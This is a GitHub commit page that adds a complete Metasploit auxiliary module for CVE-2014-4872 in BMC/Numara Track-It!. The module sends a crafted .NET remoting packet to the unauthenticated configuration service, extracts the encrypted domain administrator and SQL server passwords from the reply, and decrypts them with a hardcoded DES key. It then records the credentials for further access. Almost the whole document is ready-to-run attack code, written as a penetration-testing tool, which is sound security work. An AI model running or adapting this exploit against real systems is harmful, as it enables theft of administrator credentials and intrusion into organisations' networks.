Skip to content

Commit 6b9742b

Browse files
committed
Land rapid7#3966 - Add exploit for CVE-2014-4872 BMC / Numara Track-It!
2 parents c1c5b0b + 8163b7d commit 6b9742b

File tree

1 file changed

+374
-0
lines changed

1 file changed

+374
-0
lines changed
Lines changed: 374 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,374 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'openssl'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure',
17+
'Description' => %q{
18+
This module exploits an unauthenticated configuration retrieval .NET remoting
19+
service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain
20+
Administrator and the SQL server user credentials.
21+
This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
22+
10.0.0.143 and 9.0.30.248.
23+
},
24+
'Author' =>
25+
[
26+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'CVE', '2014-4872' ],
32+
[ 'OSVDB', '112741' ],
33+
[ 'US-CERT-VU', '121036' ],
34+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ],
35+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ]
36+
],
37+
'DisclosureDate' => 'Oct 7 2014'
38+
))
39+
register_options(
40+
[
41+
OptPort.new('RPORT',
42+
[true, '.NET remoting service port', 9010])
43+
], self.class)
44+
end
45+
46+
47+
def prepare_packet(bmc)
48+
#
49+
# ConfigurationService packet structure:
50+
#
51+
# packet_header_pre_packet_size
52+
# packet_size (4 bytes)
53+
# packet_header_pre_uri_size
54+
# uri_size (2 bytes)
55+
# packet_header_pre_uri
56+
# uri
57+
# packet_header_post_uri
58+
# packet_body_start_pre_method_size
59+
# method_size (1 byte)
60+
# method
61+
# packet_body_pre_type_size
62+
# type_size (1 byte)
63+
# packet_body_pre_type
64+
# type
65+
# @packet_terminator
66+
#
67+
# .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
68+
#
69+
# P.S.: Lots of fun stuff can be obtained from the response. Highlights include:
70+
# - DatabaseServerName
71+
# - DatabaseName
72+
# - SchemaOwnerDatabaseUser
73+
# - EncryptedSystemDatabasePassword
74+
# - DomainAdminUserName
75+
# - DomainAdminEncryptedPassword
76+
#
77+
packet_header_pre_packet_size= [
78+
0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
79+
0x00, 0x00
80+
]
81+
82+
packet_header_pre_uri_size = [
83+
0x04, 0x00, 0x01, 0x01
84+
]
85+
86+
packet_header_pre_uri = [
87+
0x00, 0x00
88+
]
89+
90+
# contains binary type (application/octet-stream)
91+
packet_header_post_uri = [
92+
0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,
93+
0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,
94+
0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,
95+
0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,
96+
0x00, 0x00
97+
]
98+
99+
packet_body_start_pre_method_size = [
100+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
101+
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
102+
0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
103+
]
104+
105+
packet_body_pre_type_size = [ 0x12 ]
106+
107+
packet_body_pre_type = [ 0x01 ]
108+
109+
@packet_terminator = [ 0x0b ]
110+
111+
service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
112+
method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
113+
type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt"))
114+
115+
uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service
116+
117+
packet_size =
118+
packet_header_pre_uri_size.length +
119+
2 + # uri_size
120+
packet_header_pre_uri.length +
121+
uri.length +
122+
packet_header_post_uri.length +
123+
packet_body_start_pre_method_size.length +
124+
1 + # method_size
125+
method.length +
126+
packet_body_pre_type_size.length +
127+
1 + # type_size
128+
packet_body_pre_type.length +
129+
type.length
130+
131+
# start of packet and packet size (4 bytes)
132+
buf = packet_header_pre_packet_size.pack('C*')
133+
buf << Array(packet_size).pack('L*')
134+
135+
# uri size (2 bytes)
136+
buf << packet_header_pre_uri_size.pack('C*')
137+
buf << Array(uri.length).pack('S*')
138+
139+
# uri
140+
buf << packet_header_pre_uri.pack('C*')
141+
buf << uri.bytes.to_a.pack('C*')
142+
buf << packet_header_post_uri.pack('C*')
143+
144+
# method name
145+
buf << packet_body_start_pre_method_size.pack('C*')
146+
buf << Array(method.length).pack('C*')
147+
buf << method.bytes.to_a.pack('C*')
148+
149+
# type name
150+
buf << packet_body_pre_type_size.pack('C*')
151+
buf << Array(type.length).pack('C*')
152+
buf << packet_body_pre_type.pack('C*')
153+
buf << type.bytes.to_a.pack('C*')
154+
155+
buf << @packet_terminator.pack('C*')
156+
157+
return buf
158+
end
159+
160+
161+
def fill_loot_from_packet(packet_reply, loot)
162+
loot.each_key { |str|
163+
if loot[str] != nil
164+
next
165+
end
166+
if (index = (packet_reply.index(str))) != nil
167+
# after str, discard 5 bytes then get str_value
168+
size = packet_reply[index + str.length + 5,1].unpack('C*')[0]
169+
if size == 255
170+
# if we received 0xFF then there is no value for this str
171+
# set it to empty but not nil so that we don't look for it again
172+
loot[str] = ""
173+
next
174+
end
175+
loot[str] = packet_reply[index + str.length + 6, size]
176+
end
177+
}
178+
end
179+
180+
181+
def run
182+
packet = prepare_packet(true)
183+
184+
sock = connect
185+
if sock.nil?
186+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
187+
else
188+
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
189+
end
190+
sock.write(packet)
191+
192+
# type of database (Oracle or SQL Server)
193+
database_type = "DatabaseType"
194+
# Database server name (host\sid for Oracle or host\login_name for SQL Server)
195+
database_server_name = "DatabaseServerName"
196+
database_name = "DatabaseName"
197+
schema_owner = "SchemaOwnerDatabaseUser"
198+
database_pw = "EncryptedSystemDatabasePassword"
199+
domain_admin_name = "DomainAdminUserName"
200+
domain_admin_pw = "DomainAdminEncryptedPassword"
201+
202+
loot = {
203+
database_type => nil,
204+
database_server_name => nil,
205+
database_name => nil,
206+
schema_owner => nil,
207+
database_pw => nil,
208+
domain_admin_name => nil,
209+
domain_admin_pw => nil
210+
}
211+
212+
# We only break when we have a timeout (up to 15 seconds wait) or have all we need
213+
while true
214+
ready = IO.select([sock], nil, nil, 15)
215+
if ready
216+
packet_reply = sock.readpartial(4096)
217+
else
218+
print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
219+
break
220+
end
221+
if packet_reply =~ /Service not found/
222+
# This is most likely an older Numara version, re-do the packet and send again.
223+
print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
224+
sock.close
225+
sock = connect
226+
if sock.nil?
227+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
228+
else
229+
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
230+
end
231+
packet = prepare_packet(false)
232+
sock.write(packet)
233+
packet_reply = sock.readpartial(4096)
234+
end
235+
236+
fill_loot_from_packet(packet_reply, loot)
237+
238+
if not loot.has_value?(nil)
239+
break
240+
end
241+
end
242+
sock.close
243+
244+
# now set the values that were not found back to nil
245+
loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) }
246+
247+
if loot[database_type]
248+
print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}")
249+
end
250+
251+
if loot[database_server_name]
252+
print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}")
253+
end
254+
255+
if loot[database_name]
256+
print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}")
257+
end
258+
259+
if loot[schema_owner]
260+
print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}")
261+
end
262+
263+
if loot[database_pw]
264+
cipher = OpenSSL::Cipher::Cipher.new("des")
265+
cipher.decrypt
266+
cipher.key = 'NumaraTI'
267+
cipher.iv = 'NumaraTI'
268+
loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw]))
269+
loot[database_pw] << cipher.final
270+
print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}")
271+
end
272+
273+
if loot[domain_admin_name]
274+
print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}")
275+
end
276+
277+
if loot[domain_admin_pw]
278+
cipher = OpenSSL::Cipher::Cipher.new("des")
279+
cipher.decrypt
280+
cipher.key = 'NumaraTI'
281+
cipher.iv = 'NumaraTI'
282+
loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw]))
283+
loot[domain_admin_pw] << cipher.final
284+
print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}")
285+
end
286+
287+
if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name]
288+
# If it is Oracle we need to save the SID for creating the Credential Core, else we don't care
289+
if loot[database_type] =~ /Oracle/i
290+
sid = loot[database_server_name].split('\\')[1]
291+
else
292+
sid = nil
293+
end
294+
295+
credential_core = report_credential_core({
296+
password: loot[database_pw],
297+
username: loot[schema_owner],
298+
sid: sid
299+
})
300+
301+
# Get just the hostname
302+
db_address= loot[database_server_name].split('\\')[0]
303+
304+
begin
305+
database_login_data = {
306+
address: ::Rex::Socket.getaddress(db_address, true),
307+
service_name: loot[database_type],
308+
protocol: 'tcp',
309+
workspace_id: myworkspace_id,
310+
core: credential_core,
311+
status: Metasploit::Model::Login::Status::UNTRIED
312+
}
313+
314+
# If it's Oracle, use the Oracle port, else use MSSQL
315+
if loot[database_type] =~ /Oracle/i
316+
database_login_data[:port] = 1521
317+
else
318+
database_login_data[:port] = 1433
319+
end
320+
create_credential_login(database_login_data)
321+
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
322+
rescue SocketError
323+
print_error "Could not resolve Database Server Hostname."
324+
end
325+
326+
print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")
327+
end
328+
329+
if loot[domain_admin_name] and loot[domain_admin_pw]
330+
report_credential_core({
331+
password: loot[domain_admin_pw],
332+
username: loot[domain_admin_name].split('\\')[1],
333+
domain: loot[domain_admin_name].split('\\')[0]
334+
})
335+
336+
print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}")
337+
end
338+
end
339+
340+
341+
def report_credential_core(cred_opts={})
342+
# Set up the has for our Origin service
343+
origin_service_data = {
344+
address: rhost,
345+
port: rport,
346+
service_name: 'Domain',
347+
protocol: 'tcp',
348+
workspace_id: myworkspace_id
349+
}
350+
351+
credential_data = {
352+
origin_type: :service,
353+
module_fullname: self.fullname,
354+
private_type: :password,
355+
private_data: cred_opts[:password],
356+
username: cred_opts[:username]
357+
}
358+
359+
if cred_opts[:domain]
360+
credential_data.merge!({
361+
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
362+
realm_value: cred_opts[:domain]
363+
})
364+
elsif cred_opts[:sid]
365+
credential_data.merge!({
366+
realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER,
367+
realm_value: cred_opts[:sid]
368+
})
369+
end
370+
371+
credential_data.merge!(origin_service_data)
372+
create_credential(credential_data)
373+
end
374+
end

0 commit comments

Comments
 (0)